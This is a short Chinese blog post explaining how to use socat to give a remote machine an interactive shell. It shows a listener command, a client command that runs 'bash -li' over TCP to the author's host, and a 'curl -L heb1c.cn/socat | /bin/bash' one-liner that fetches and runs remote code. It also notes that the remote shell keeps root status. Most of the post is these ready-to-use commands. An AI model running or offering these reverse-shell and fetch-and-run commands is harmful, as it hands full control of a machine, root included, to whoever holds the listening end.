利用socat实现远程终端控制

Posted by hebicheng on March 18, 2019

通过使用socat, 给远端弹一个shell, 在远端实现远程控制

使用方式

服务端

1
    socat file:`tty`,raw,echo=0 tcp-listen:1234

在服务端运行这个命令,开启socat-server,监听1234端口

客户端

1
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:heb1c.cn:1234

与服务端对应,配置相应的host与port即可将当前shell远程给服务端。
ps: 服务端获取到的shell和本地完全一致,包括root状态。

可以将命令放到web服务,通过自己配置的链接使用服务,如

1
    curl -L heb1c.cn/socat | /bin/bash

通过以上命令等同于客户端的命令

原创作品,转载请注明来源 https://hebicheng.github.io